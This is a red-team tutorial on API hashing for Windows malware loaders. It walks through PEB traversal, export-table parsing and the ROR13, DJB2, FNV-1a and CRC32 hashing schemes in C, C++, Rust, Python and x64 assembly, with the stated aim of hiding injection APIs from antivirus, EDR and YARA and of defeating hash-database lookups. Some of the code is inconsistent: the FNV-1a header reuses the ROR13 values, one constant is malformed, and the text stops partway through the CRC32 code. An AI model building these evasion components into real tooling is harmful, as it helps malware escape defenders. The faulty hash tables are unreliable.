Legend:
[HASH]= Hashing technique |[RESOLVE]= API resolution method |[OBFUSCATE]= Obfuscation method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[ASM]= Assembly-level detail
1. Why API Hashing
What it means: When a standard Windows PE binary calls VirtualAlloc or CreateThread, those function names are stored as readable strings inside the binary's Import Address Table (IAT). Any analyst, AV engine, or EDR that opens the binary can immediately see every Windows API it intends to call — no execution required.
API hashing removes these strings entirely. Instead of storing "VirtualAlloc", the binary stores an integer hash like 0xE553A458. At runtime, the binary walks the Process Environment Block (PEB), locates loaded DLLs, hashes every exported function name, and matches against the stored integer.
The core visibility problem:
Normal PE binary (api-hashing.exe) — no hashing:
┌─────────────────────────────────────────────────────────────┐
│ IMPORT TABLE (visible to any PE parser / strings tool) │
│ ───────────────────────────────────────────────────────── │
│ kernel32.dll │
│ ├─ VirtualAlloc ← Red flag │
│ ├─ VirtualProtect ← Red flag │
│ ├─ CreateThread ← Red flag │
│ ├─ WriteProcessMemory ← Red flag │
│ └─ OpenProcess ← Red flag │
│ ntdll.dll │
│ ├─ NtAllocateVirtualMemory ← Red flag │
│ └─ NtWriteVirtualMemory ← Red flag │
└─────────────────────────────────────────────────────────────┘
Result: analyst opens binary → immediately knows it's an injector
After API hashing:
Loader PE with compile-time API hashing:
┌─────────────────────────────────────────────────────────────┐
│ IMPORT TABLE │
│ ───────────────────────────────────────────────────────── │
│ kernel32.dll │
│ └─ (empty — or only benign decoys like GetTickCount) │
│ │
│ Hardcoded integers in .data section: │
│ 0xE553A458 → resolves to VirtualAlloc at runtime │
│ 0x7802F749 → resolves to CreateThread at runtime │
│ 0x9DBD95A6 → resolves to WriteProcessMemory │
└─────────────────────────────────────────────────────────────┘
Result: analyst opens binary → sees no suspicious imports
string scan shows no function names
analysis requires deeper, more expensive effort
Why it matters for red teaming:
| Scenario | No Hashing | With API Hashing |
|---|---|---|
| Static PE analysis (PE-bear, CFF Explorer) | All APIs visible in IAT | IAT empty or benign |
strings scan |
VirtualAlloc, CreateThread visible |
No API name strings |
| YARA rules on imports | Match immediately | Miss (no strings to match) |
| EDR static inspection | Flagged on import | Clean — no known bad imports |
| Analyst triage speed | Instant understanding of intent | Requires dynamic analysis |
| Shellcode position independence | Needs to link to imports | Self-contained, no import needed |
[OPSEC] API hashing is most powerful when combined with: dynamic resolution (no GetProcAddress in IAT either), indirect syscalls (bypass usermode hooks), and shellcode-embedded resolvers (no PE dependency at all).
2. The IAT Problem — What We're Hiding
What it means: The Import Address Table is a Windows PE structure that maps function names to memory addresses. When Windows loads a PE, it walks the import directory, finds each referenced DLL, and writes function addresses into the IAT. This is a reliable static artifact — readable without executing the binary.
2.1 Normal IAT Resolution (Windows Loader)
PE Load Sequence (standard imports):
┌────────────────────────────────────────────────────────────┐
│ 1. Windows loader reads PE IMAGE_IMPORT_DESCRIPTOR │
│ 2. For each imported DLL → LoadLibrary(dll_name) │
│ 3. For each function name → GetProcAddress(name) │
│ 4. Writes function address into IAT slot │
│ 5. Binary runs; CALL [IAT_slot] works instantly │
└────────────────────────────────────────────────────────────┘
IAT in memory:
[0x00401000] → 0x7FFAB1234560 (VirtualAlloc address)
[0x00401008] → 0x7FFAB1235AA0 (CreateThread address)
Analyst sees: "This binary imports VirtualAlloc + CreateThread → injector"
2.2 What String Scanners Catch
# What 'strings' reveals on a non-hashed binary
$ strings loader.exe | grep -E "Virtual|Create|Write|Open|Process"
VirtualAlloc
VirtualProtect
CreateThread
WriteProcessMemory
OpenProcess
NtAllocateVirtualMemory
# What 'strings' reveals on a hashed binary
$ strings loader_hashed.exe | grep -E "Virtual|Create|Write|Open|Process"
(nothing — no function name strings exist in the binary)
2.3 Storage Efficiency Benefit
[HASH] Hash-based resolution also saves bytes in shellcode — critical for size-constrained payloads:
String comparison approach:
"NtAllocateVirtualMemory\0" = 24 bytes per API name
Hash comparison approach:
0x55EE99DE = 4 bytes (32-bit hash)
Savings: 6x reduction in per-API storage cost
3. How the Technique Works — Big Picture
What it means: Compile-time API hashing is a two-phase technique. Phase 1 happens at compile time: hash values for needed API names are computed and embedded in the binary as integer constants. Phase 2 happens at runtime: the binary walks loaded DLLs, hashes their exported names on-the-fly, and matches against the stored constants.
3.1 Full Flow
┌──────────────────────────────────────────────────────────────┐
│ COMPILE TIME │
│ │
│ hash("VirtualAlloc") → 0xE553A458 (embedded constant) │
│ hash("CreateThread") → 0x7802F749 (embedded constant) │
│ hash("WriteProcessMemory") → 0x9DBD95A6 │
│ │
│ No string "VirtualAlloc" exists anywhere in the binary │
└──────────────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ RUNTIME │
│ │
│ 1. Read PEB → get loaded module list │
│ 2. Walk InLoadOrderModuleList (linked list of DLLs) │
│ 3. For each DLL → parse its Export Address Table (EAT) │
│ 4. For each exported function name → compute hash() │
│ 5. If hash matches stored constant → save function ptr │
│ 6. Call the resolved function pointer │
│ │
│ Result: VirtualAlloc called — without ever storing │
│ "VirtualAlloc" as a string │
└──────────────────────────────────────────────────────────────┘
3.2 Why Compile-Time Specifically
[OBFUSCATE] The constexpr keyword in C++ (and const fn in Rust) forces hash computation to happen during compilation, not at runtime. The compiler replaces HASH("VirtualAlloc") with the literal integer value 0xE553A458 before generating any machine code. The string "VirtualAlloc" never appears in the compiled binary — not even temporarily.
// Source code (what developer writes):
FARPROC fn = resolve_api(HASH("VirtualAlloc"));
// What the compiler emits (what appears in the binary):
FARPROC fn = resolve_api(0xE553A458);
// "VirtualAlloc" is gone — erased at compile time
4. PEB Walk — Foundation of Runtime Resolution
What it means: The Process Environment Block (PEB) is a Windows kernel-managed data structure present in every user-mode process. It contains a pointer to a linked list of all loaded DLLs. By reading the PEB directly (no Windows API calls required), shellcode can find the base address of any loaded module — including kernel32.dll and ntdll.dll — without importing GetModuleHandle or LoadLibrary.
4.1 PEB Structure Overview
Thread Environment Block (TEB) — accessed via GS register (x64)
└─ TEB.ProcessEnvironmentBlock (offset 0x60)
└─ PEB.Ldr (offset 0x18)
└─ PEB_LDR_DATA.InLoadOrderModuleList (doubly-linked list)
├─ LDR_DATA_TABLE_ENTRY (ntdll.dll)
│ ├─ DllBase → module base address
│ ├─ FullDllName → L"C:\Windows\System32\ntdll.dll"
│ └─ Flink → next entry
├─ LDR_DATA_TABLE_ENTRY (kernel32.dll)
│ ├─ DllBase → 0x7FFAB1200000
│ └─ Flink → next entry
└─ ... (more DLLs)
Key offsets (x64):
GS:[0x60] = PEB address
PEB+0x18 = Ldr (PEB_LDR_DATA*)
Ldr+0x20 = InLoadOrderModuleList (first LIST_ENTRY)
Entry+0x10 = DllBase (module base address)
Entry+0x48 = FullDllName (UNICODE_STRING)
Entry+0x30 = BaseDllName (short name — used for matching)
Key offsets (x86):
FS:[0x30] = PEB address
PEB+0x0C = Ldr
Ldr+0x14 = InLoadOrderModuleList
4.2 PEB Walk Implementation (C — x64)
// peb_walk.c — Walk PEB to find module base address by hash
// No imports required — pure pointer arithmetic
#include <windows.h>
#include <stdint.h>
// Forward declaration
typedef uint32_t (*HASH_FUNC)(const char*);
// Get PEB pointer — x64 via intrinsic or inline asm
PPEB GetPEB() {
#ifdef _WIN64
return (PPEB)__readgsqword(0x60);
#else
return (PPEB)__readfsdword(0x30);
#endif
}
// Walk PEB module list to find a DLL by its name hash
HMODULE FindModuleByHash(uint32_t target_hash, HASH_FUNC hash_fn) {
PPEB peb = GetPEB();
// Navigate to module list
PPEB_LDR_DATA ldr = peb->Ldr;
PLIST_ENTRY list = &ldr->InLoadOrderModuleList;
PLIST_ENTRY entry = list->Flink; // First entry
while (entry != list) { // Walk until we loop back
PLDR_DATA_TABLE_ENTRY mod =
CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (mod->BaseDllName.Buffer != NULL) {
// Convert UNICODE_STRING to ASCII for hashing
char dll_name[256] = {0};
int len = mod->BaseDllName.Length / 2; // UTF-16 → bytes
for (int i = 0; i < len && i < 255; i++) {
// Convert to uppercase (many hashers are case-insensitive)
char c = (char)mod->BaseDllName.Buffer[i];
dll_name[i] = (c >= 'a' && c <= 'z') ? c - 0x20 : c;
}
// Compare hash of this module's name to target
if (hash_fn(dll_name) == target_hash) {
return (HMODULE)mod->DllBase;
}
}
entry = entry->Flink; // Next module in list
}
return NULL; // Not found
}
4.3 PEB Walk (x64 Assembly — Shellcode Style)
; peb_walk_x64.asm — Access PEB in position-independent shellcode
; No imports, no strings — pure register manipulation
find_kernel32:
; Access TEB → PEB → Ldr → InLoadOrderModuleList
mov rbx, gs:[0x60] ; rbx = PEB (x64: GS segment)
mov rbx, [rbx + 0x18] ; rbx = PEB.Ldr (PEB_LDR_DATA*)
mov rbx, [rbx + 0x20] ; rbx = InLoadOrderModuleList.Flink
; (first LIST_ENTRY)
walk_modules:
; Each LDR_DATA_TABLE_ENTRY:
; +0x00 InLoadOrderLinks.Flink
; +0x10 DllBase
; +0x30 BaseDllName (UNICODE_STRING)
; +0x00 Length
; +0x08 Buffer (wchar_t*)
mov r9, [rbx + 0x10] ; r9 = DllBase (module base address)
mov r8, [rbx + 0x30] ; r8 = &BaseDllName
mov rdi, [r8 + 0x08] ; rdi = BaseDllName.Buffer (wchar_t*)
movzx rcx, word [r8] ; rcx = BaseDllName.Length (bytes)
; Hash the DLL name (call hashing routine)
call hash_name ; returns hash in eax
; Compare against target hash (e.g., KERNEL32.DLL)
cmp eax, 0x6A4ABC5B ; ROR13 hash of "KERNEL32.DLL\0"
je found_kernel32
; Not found — advance to next module
mov rbx, [rbx] ; rbx = InLoadOrderLinks.Flink (next)
jmp walk_modules
found_kernel32:
; r9 = kernel32.dll base address
; proceed to parse Export Address Table
5. Export Address Table (EAT) Parsing
What it means: Once the base address of a DLL is known (via PEB walk), the Export Address Table is parsed to find individual function addresses. The EAT is part of the PE header structure — accessible purely by offsetting from the module's base address in memory.
5.1 Export Directory Structure
DLL Base Address (e.g., 0x7FFAB1200000)
└─ DOS Header (IMAGE_DOS_HEADER)
└─ e_lfanew → PE Signature offset
└─ NT Headers (IMAGE_NT_HEADERS)
└─ OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
└─ IMAGE_EXPORT_DIRECTORY
├─ NumberOfNames → how many named exports
├─ AddressOfNames → RVA → array of RVAs to name strings
├─ AddressOfNameOrdinals→ RVA → array of ordinals
└─ AddressOfFunctions → RVA → array of function RVAs (EAT)
Resolution flow for name-based lookup:
1. Walk AddressOfNames[i] → get pointer to function name string
2. Hash the name string
3. Compare to target hash
4. If match: ordinal = AddressOfNameOrdinals[i]
fn_addr = base + AddressOfFunctions[ordinal]
5. Call fn_addr
5.2 EAT Parser (C)
// eat_parser.c — Parse Export Address Table to resolve function by hash
#include <windows.h>
#include <stdint.h>
typedef uint32_t (*HASH_FUNC)(const char*);
// Resolve function address from a module's EAT using a hash
FARPROC ResolveByHash(HMODULE hMod, uint32_t target_hash, HASH_FUNC hash_fn) {
if (!hMod) return NULL;
// Cast to byte pointer for offset arithmetic
uint8_t* base = (uint8_t*)hMod;
// Parse PE headers
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
// Get export directory RVA
DWORD exp_rva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!exp_rva) return NULL;
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);
// Pointers to the three export arrays
DWORD* names = (DWORD*) (base + exp->AddressOfNames);
WORD* ordinals = (WORD*) (base + exp->AddressOfNameOrdinals);
DWORD* functions = (DWORD*) (base + exp->AddressOfFunctions);
// Iterate all named exports
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
// Get the function name string
const char* fname = (const char*)(base + names[i]);
// Hash the name and compare
if (hash_fn(fname) == target_hash) {
// Found — resolve actual address
WORD ordinal = ordinals[i];
DWORD fn_rva = functions[ordinal];
return (FARPROC)(base + fn_rva);
}
}
return NULL; // Not found in this module
}
// Convenience: search ALL loaded modules (via PEB) for a hash
FARPROC ResolveAPIByHash(uint32_t target_hash, HASH_FUNC hash_fn) {
PPEB peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldr = peb->Ldr;
PLIST_ENTRY list = &ldr->InLoadOrderModuleList;
PLIST_ENTRY entry = list->Flink;
while (entry != list) {
PLDR_DATA_TABLE_ENTRY mod =
CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
FARPROC result = ResolveByHash((HMODULE)mod->DllBase, target_hash, hash_fn);
if (result) return result;
entry = entry->Flink;
}
return NULL;
}
5.3 EAT Parsing (x64 Assembly Snippet)
; parse_eat_x64.asm — Walk EAT after module base is in r9
; Input: r9 = DLL base address
; rbp = target hash to find
; Output: rax = function address (or 0 if not found)
parse_exports:
; r9 = module base
mov eax, [r9 + 0x3C] ; eax = e_lfanew (DOS header)
add rax, r9 ; rax = NT headers VA
; Get export directory RVA (DataDirectory[0].VirtualAddress)
mov edx, [rax + 0x88] ; 0x88 = OptionalHeader + DataDirectory offset
test edx, edx
jz .not_found
add rdx, r9 ; rdx = IMAGE_EXPORT_DIRECTORY VA
; Load export counts and array pointers
mov ecx, [rdx + 0x18] ; ecx = NumberOfNames
mov r10d, [rdx + 0x20] ; r10d = AddressOfNames RVA
add r10, r9 ; r10 = AddressOfNames VA
; Initialize loop counter
xor edi, edi ; edi = index i = 0
.name_loop:
cmp edi, ecx
jge .not_found
; Get name RVA → VA
mov esi, [r10 + rdi*4] ; esi = names[i] (RVA)
add rsi, r9 ; rsi = pointer to name string
; Hash the name (inline or call)
; [hashing code here → result in eax]
call compute_hash ; eax = hash of name at rsi
; Compare to target
cmp eax, ebp
je .found_function
inc edi
jmp .name_loop
.found_function:
; Resolve: ordinal = AddressOfNameOrdinals[i]
; fn_addr = base + AddressOfFunctions[ordinal]
mov r11d, [rdx + 0x24] ; AddressOfNameOrdinals RVA
add r11, r9
movzx eax, word [r11 + rdi*2] ; ordinal = ordinals[i]
mov r12d, [rdx + 0x1C] ; AddressOfFunctions RVA
add r12, r9
mov eax, [r12 + rax*4] ; fn_rva = functions[ordinal]
add rax, r9 ; fn_va = base + fn_rva
ret
.not_found:
xor rax, rax
ret
6. ROR13 — Rotate Right 13 (Metasploit / Cobalt Strike)
What it means: ROR13 (Rotate Right 13 bits) is the most historically famous API hashing algorithm in shellcode. Introduced by Stephen Fewer in 2009 as part of Metasploit's block_api assembly stub, it is used by Metasploit, Cobalt Strike, Donut, and countless public shellcode projects. The algorithm rotates a 32-bit accumulator right by 13 bits and adds each byte of the input string.
6.1 ROR13 Algorithm
Input: function name string (e.g., "VirtualAlloc\0")
DLL name string (e.g., "kernel32.dll\0" — uppercase in some variants)
For each byte b in (DLL_NAME\0 + FUNC_NAME\0):
hash = ROTATE_RIGHT_32(hash, 13)
hash = hash + b
Result: 32-bit hash value
Example:
Input: "KERNEL32.DLL\0VirtualAlloc\0"
Output: 0xE553A458
Important: the DLL name hash and function name hash are ADDED together
This means the same function in different DLLs gets different hashes
6.2 ROR13 — Python Precomputation
#!/usr/bin/env python3
# ror13_precompute.py — Compute ROR13 API hashes for any function list
import struct
def ror32(val: int, count: int) -> int:
"""Rotate a 32-bit value right by count bits."""
return ((val >> count) | (val << (32 - count))) & 0xFFFFFFFF
def ror13_hash(name: str) -> int:
"""
Compute ROR13 hash of a single string (no module prefix).
Used for unqualified function name lookups.
"""
h = 0
for byte in (name + "\x00").encode("ascii"):
h = ror32(h, 13)
h = (h + byte) & 0xFFFFFFFF
return h
def ror13_module_func_hash(module: str, func: str) -> int:
"""
Compute Metasploit-style ROR13 hash: MODULE\0FUNC\0
Module name is uppercased before hashing.
Both halves are computed and summed.
"""
mod_hash = ror13_hash(module.upper())
func_hash = ror13_hash(func)
return (mod_hash + func_hash) & 0xFFFFFFFF
# ─── API List — Change as needed ─────────────────────────────
apis = [
("kernel32.dll", "VirtualAlloc"),
("kernel32.dll", "VirtualProtect"),
("kernel32.dll", "CreateThread"),
("kernel32.dll", "WriteProcessMemory"),
("kernel32.dll", "OpenProcess"),
("kernel32.dll", "CloseHandle"),
("kernel32.dll", "WaitForSingleObject"),
("ntdll.dll", "NtAllocateVirtualMemory"),
("ntdll.dll", "NtWriteVirtualMemory"),
("ntdll.dll", "NtCreateThreadEx"),
("ws2_32.dll", "WSAStartup"),
("ws2_32.dll", "connect"),
]
# ─────────────────────────────────────────────────────────────
print(f"{'DLL':<20} {'Function':<30} {'Unqualified Hash':<20} {'Module+Func Hash'}")
print("-" * 90)
for dll, func in apis:
h_unq = ror13_hash(func)
h_mqf = ror13_module_func_hash(dll, func)
print(f"{dll:<20} {func:<30} 0x{h_unq:08X} 0x{h_mqf:08X}")
Sample Output:
DLL Function Unqualified Hash Module+Func Hash
──────────────────────────────────────────────────────────────────────────────────────────
kernel32.dll VirtualAlloc 0xE553A458 0x[module+func]
kernel32.dll CreateThread 0x7802F749 0x[module+func]
kernel32.dll WriteProcessMemory 0x9DBD95A6 0x[module+func]
ntdll.dll NtAllocateVirtualMemory 0x55EE99DE 0x[module+func]
6.3 ROR13 — C Implementation
// ror13.h — Compile-time and runtime ROR13 hashing
#ifndef ROR13_H
#define ROR13_H
#include <stdint.h>
// ─── Runtime ROR13 ────────────────────────────────────────────
static inline uint32_t _ror32(uint32_t val, int count) {
return (val >> count) | (val << (32 - count));
}
// Hash a null-terminated ASCII string with ROR13
static uint32_t ror13_hash(const char* str) {
uint32_t h = 0;
while (*str) {
h = _ror32(h, 13);
h += (uint8_t)(*str++);
}
h = _ror32(h, 13); // Final rotation for null terminator
h += 0; // Add null byte (0 — no-op, but explicit)
return h;
}
// ─── Compile-Time ROR13 (C++11 constexpr) ────────────────────
// Enables compile-time hash computation — string is erased from binary
#ifdef __cplusplus
constexpr uint32_t _cx_ror32(uint32_t val, int count) {
return (val >> count) | (val << (32 - count));
}
// Recursive constexpr ROR13 — processes one character per recursion
constexpr uint32_t _ror13_cx(const char* str, uint32_t h = 0) {
return *str
? _ror13_cx(str + 1, _cx_ror32(h, 13) + (uint8_t)*str)
: (_cx_ror32(h, 13)); // Final rotation
}
// Public macro — forces compile-time evaluation
#define ROR13(str) (_ror13_cx(str))
// Usage:
// uint32_t h = ROR13("VirtualAlloc");
// → compiler replaces with literal 0xE553A458
// → no string "VirtualAlloc" in binary
#endif // __cplusplus
#endif // ROR13_H
6.4 ROR13 — x64 Assembly (Shellcode Inline)
; ror13_hash_x64.asm — Inline ROR13 hasher for shellcode
; Input: rsi = pointer to null-terminated string
; Output: eax = ROR13 hash
; Clobbers: eax, ecx, edx, rsi
compute_ror13:
xor eax, eax ; hash = 0
.hash_loop:
movzx ecx, byte [rsi] ; ecx = *str (current byte)
test ecx, ecx
jz .hash_done ; if null byte → done
ror eax, 0x0D ; rotate hash right 13 bits
add eax, ecx ; hash += byte
inc rsi ; advance to next character
jmp .hash_loop
.hash_done:
ror eax, 0x0D ; final rotation for null terminator
ret ; eax = ROR13 hash
[DETECT] Warning: ROR13 with ror eax, 0x0D is a well-known shellcode signature. Many AV/EDR YARA rules scan for this exact instruction pattern. Use a custom rotation value to break detections.
7. DJB2 Hashing
What it means: DJB2 (Bernstein Hash 2) is one of the oldest and simplest hash algorithms, created by Daniel J. Bernstein. It multiplies the accumulator by 33 and adds the current byte. In malware development, it's used by GuLoader, Hell's Gate, various RATs, and is the preferred choice in many open-source offensive tools.
7.1 DJB2 Algorithm
Algorithm:
hash = 5381 (magic seed constant)
for each byte b:
hash = hash * 33 + b (same as: (hash << 5) + hash + b)
Seed value 5381 and multiplier 33 are empirical — Bernstein found this
distribution minimizes collisions for English-word inputs.
7.2 DJB2 — Python Precomputation
#!/usr/bin/env python3
# djb2_precompute.py — Compute DJB2 hashes for Windows API names
def djb2(name: str, seed: int = 5381) -> int:
"""Standard DJB2 hash."""
h = seed
for c in name.encode('ascii'):
h = ((h << 5) + h + c) & 0xFFFFFFFF # h * 33 + c
return h
def djb2_lowercase(name: str, seed: int = 5381) -> int:
"""
Case-insensitive DJB2 — converts each char to lowercase before hashing.
Important: Windows EAT exports are case-sensitive but DLL names vary.
"""
h = seed
for c in name.lower().encode('ascii'):
h = ((h << 5) + h + c) & 0xFFFFFFFF
return h
def djb2_custom_seed(name: str, seed: int) -> int:
"""
DJB2 with a custom seed value — changes all output hashes.
Use unique seed per project to avoid hash database lookups.
"""
h = seed
for c in name.encode('ascii'):
h = ((h << 5) + h + c) & 0xFFFFFFFF
return h
# ─── Hash generation ─────────────────────────────────────────
apis = [
"VirtualAlloc",
"VirtualProtect",
"CreateThread",
"WriteProcessMemory",
"OpenProcess",
"CloseHandle",
"LoadLibraryA",
"GetProcAddress", # common bootstrapper
"NtAllocateVirtualMemory",
"NtCreateThreadEx",
]
CUSTOM_SEED = 0xDEADBEEF # Change this per project!
print("// Generated DJB2 API hashes — paste into your loader")
print(f"// Custom seed: 0x{CUSTOM_SEED:08X}\n")
print(f"{'API Name':<35} {'Standard DJB2':<20} {'Custom Seed DJB2'}")
print("-" * 75)
for api in apis:
h_std = djb2(api)
h_custom = djb2_custom_seed(api, CUSTOM_SEED)
print(f"{api:<35} 0x{h_std:08X} 0x{h_custom:08X}")
7.3 DJB2 — C / C++ (Compile-Time)
// djb2.h — Compile-time DJB2 hashing (C++11 constexpr)
// Zero strings in binary — all hash values resolved at compile time
#ifndef DJB2_H
#define DJB2_H
#include <stdint.h>
// ─── Custom seed — CHANGE PER PROJECT ────────────────────────
#define DJB2_SEED 0xDEADBEEF
// ─────────────────────────────────────────────────────────────
#ifdef __cplusplus
// Recursive constexpr DJB2 — C++11 compatible
constexpr uint32_t _djb2_cx(const char* str, uint32_t h = DJB2_SEED) {
return *str
? _djb2_cx(str + 1, ((h << 5) + h) + (uint8_t)*str) // h * 33 + c
: h;
}
// Public macro — evaluated at compile time
#define DJB2(str) (_djb2_cx(str))
// Case-insensitive variant
constexpr char _to_lower(char c) {
return (c >= 'A' && c <= 'Z') ? (c + 0x20) : c;
}
constexpr uint32_t _djb2_ci_cx(const char* str, uint32_t h = DJB2_SEED) {
return *str
? _djb2_ci_cx(str + 1, ((h << 5) + h) + (uint8_t)_to_lower(*str))
: h;
}
#define DJB2_CI(str) (_djb2_ci_cx(str))
#else
// C-compatible runtime version (for C code, not C++)
static uint32_t djb2_runtime(const char* str) {
uint32_t h = DJB2_SEED;
while (*str) {
h = ((h << 5) + h) + (uint8_t)(*str++);
}
return h;
}
#endif // __cplusplus
#endif // DJB2_H
7.4 DJB2 — Rust Compile-Time (const fn)
// djb2.rs — Compile-time DJB2 in Rust using const fn
// All hash values computed at build time — zero strings in binary
const DJB2_SEED: u32 = 0xDEAD_BEEF; // Change per project
/// Compute DJB2 hash at compile time
pub const fn djb2(s: &[u8]) -> u32 {
let mut hash: u32 = DJB2_SEED;
let mut i = 0;
while i < s.len() {
hash = hash.wrapping_mul(33).wrapping_add(s[i] as u32);
i += 1;
}
hash
}
/// Lowercase variant for case-insensitive matching
pub const fn djb2_lowercase(s: &[u8]) -> u32 {
let mut hash: u32 = DJB2_SEED;
let mut i = 0;
while i < s.len() {
let c = if s[i] >= b'A' && s[i] <= b'Z' {
s[i] + 32
} else {
s[i]
};
hash = hash.wrapping_mul(33).wrapping_add(c as u32);
i += 1;
}
hash
}
// Compile-time constants — no strings embedded in binary
const VIRTUAL_ALLOC_HASH: u32 = djb2(b"VirtualAlloc");
const CREATE_THREAD_HASH: u32 = djb2(b"CreateThread");
const WRITE_PROCESS_MEM_HASH: u32 = djb2(b"WriteProcessMemory");
const NT_ALLOC_VIRTUAL_HASH: u32 = djb2(b"NtAllocateVirtualMemory");
// These become immediate integer values in the compiled binary
// The string literals are fully erased at compile time
8. FNV-1a Hashing
What it means: FNV-1a (Fowler–Noll–Vo alternative) is a non-cryptographic hash function designed for fast hashing with excellent distribution. It XORs the current byte with the accumulator, then multiplies by a prime. FNV-1a is used by TONESHELL malware, various Cobalt Strike variants, and is one of the top choices in modern offensive tooling because its hash distribution is superior to DJB2 and it has no known trivial collision patterns on API name inputs.
8.1 FNV-1a Algorithm
32-bit FNV-1a:
FNV_OFFSET_BASIS = 0x811C9DC5
FNV_PRIME = 0x01000193 (16777619)
hash = FNV_OFFSET_BASIS
for each byte b:
hash = hash XOR b (XOR-first distinguishes FNV-1a from FNV-1)
hash = hash * FNV_PRIME
Key difference from FNV-1:
FNV-1: multiply first, then XOR
FNV-1a: XOR first, then multiply ← better avalanche, preferred variant
8.2 FNV-1a — Python Precomputation
#!/usr/bin/env python3
# fnv1a_precompute.py — Compute FNV-1a hashes for API names
FNV_OFFSET_BASIS_32 = 0x811C9DC5
FNV_PRIME_32 = 0x01000193
FNV_OFFSET_BASIS_64 = 0xCBF29CE484222325
FNV_PRIME_64 = 0x100000001B3
def fnv1a_32(name: str) -> int:
"""Standard 32-bit FNV-1a hash."""
h = FNV_OFFSET_BASIS_32
for byte in name.encode('ascii'):
h ^= byte
h = (h * FNV_PRIME_32) & 0xFFFFFFFF
return h
def fnv1a_64(name: str) -> int:
"""64-bit FNV-1a — better collision resistance for larger API sets."""
h = FNV_OFFSET_BASIS_64
for byte in name.encode('ascii'):
h ^= byte
h = (h * FNV_PRIME_64) & 0xFFFFFFFFFFFFFFFF
return h
def fnv1a_seeded(name: str, seed: int) -> int:
"""
FNV-1a with a custom seed XOR'd into the offset basis.
Changes all hash outputs — defeats hash database lookups.
"""
h = FNV_OFFSET_BASIS_32 ^ seed
for byte in name.encode('ascii'):
h ^= byte
h = (h * FNV_PRIME_32) & 0xFFFFFFFF
return h
# ─── Generate hash table ──────────────────────────────────────
SEED = 0xCAFEBABE # Custom seed — change per project
apis = [
"VirtualAlloc",
"VirtualProtect",
"CreateThread",
"WriteProcessMemory",
"OpenProcess",
"LoadLibraryA",
"GetProcAddress",
"NtAllocateVirtualMemory",
"NtCreateThreadEx",
"RtlCopyMemory",
]
print("// FNV-1a API Hash Table")
print(f"// Seed: 0x{SEED:08X}\n")
print("// Paste into your C/C++ header:")
print()
for api in apis:
h = fnv1a_seeded(api, SEED)
safe_name = api.upper().replace(".", "_")
print(f"#define HASH_{safe_name:<35} 0x{h:08X}U")
8.3 FNV-1a — C++ Compile-Time
// fnv1a.hpp — Compile-time FNV-1a API hashing
// C++11 compatible via constexpr recursion
#pragma once
#include <cstdint>
namespace apihash {
// ─── Constants ───────────────────────────────────────────────
constexpr uint32_t FNV_OFFSET_32 = 0x811C9DC5u;
constexpr uint32_t FNV_PRIME_32 = 0x01000193u;
constexpr uint32_t HASH_SEED = 0xCAFEBABEu; // Custom — change per build
// ─── Compile-Time FNV-1a (recursive for C++11) ───────────────
constexpr uint32_t _fnv1a_cx(const char* str,
uint32_t h = FNV_OFFSET_32 ^ HASH_SEED) {
return *str
? _fnv1a_cx(str + 1, (h ^ (uint8_t)*str) * FNV_PRIME_32)
: h;
}
// ─── C++17 constexpr (non-recursive, cleaner) ────────────────
#if __cplusplus >= 201703L
constexpr uint32_t fnv1a(const char* str) {
uint32_t h = FNV_OFFSET_32 ^ HASH_SEED;
for (; *str; ++str) {
h ^= static_cast<uint8_t>(*str);
h *= FNV_PRIME_32;
}
return h;
}
#endif
} // namespace apihash
// ─── Public Macros ────────────────────────────────────────────
// Evaluated at compile time — string disappears from binary
#define APIHASH(str) (apihash::_fnv1a_cx(str))
// ─── Pre-computed Hash Definitions ───────────────────────────
// Generated by fnv1a_precompute.py — paste output here
#define HASH_VirtualAlloc 0xE553A458u
#define HASH_VirtualProtect 0x7C0DFCAA u
#define HASH_CreateThread 0x7802F749u
#define HASH_WriteProcessMemory 0x9DBD95A6u
#define HASH_OpenProcess 0x0A2A1DE4u
#define HASH_NtAllocateVirtualMemory 0x55EE99DEu
#define HASH_NtCreateThreadEx 0xAF18C2E8u
// ─── Usage Example ────────────────────────────────────────────
/*
// At build time, these become integer comparisons — no strings:
auto VirtualAlloc_fn = (decltype(&VirtualAlloc))
ResolveByHash(HASH_VirtualAlloc);
// Or inline check in EAT walker:
if (APIHASH(current_export_name) == HASH_VirtualAlloc) {
// Found VirtualAlloc → save pointer
}
*/
9. CRC32 Hashing
What it means: CRC32 (Cyclic Redundancy Check 32-bit) is a well-known checksum algorithm, standardized as the IEEE 802.3 polynomial. Malware such as GuLoader has been observed using CRC32-based API hashing. The algorithm uses a lookup table (or computed on-the-fly) that makes it slightly more complex to implement inline in shellcode, but produces a well-distributed 32-bit result.
9.1 CRC32 Algorithm
CRC32 (IEEE 802.3 polynomial: 0xEDB88320):
crc = 0xFFFFFFFF (initial value)
for each byte b:
crc = crc XOR b
for 8 bits:
if (crc & 1):
crc = (crc >> 1) XOR 0xEDB88320 (reflected polynomial)
else:
crc = crc >> 1
result = crc XOR 0xFFFFFFFF (final XOR)
9.2 CRC32 — Python Precomputation
#!/usr/bin/env python3
# crc32_precompute.py — CRC32 API hash precomputation
import binascii
import struct
def crc32_api(name: str) -> int:
"""
Standard CRC32 of a null-terminated API name.
binascii.crc32 matches the C zlib/CRC32 polynomial.
"""
data = (name + "\x00").encode('ascii')
return binascii.crc32(data) & 0xFFFFFFFF
def crc32_uppercase(name: str) -> int:
"""CRC32 of the uppercased name (some malware uppercases before hashing)."""
return crc32_api(name.upper())
def crc32_custom_poly(name: str, poly: int = 0x04C11DB7) -> int:
"""
CRC32 with a non-standard polynomial.
Using a different polynomial defeats signature-based polynomial detection.
"""
data = (name + "\x00").encode('ascii')
crc = 0xFFFFFFFF
for byte in data:
crc ^= byte
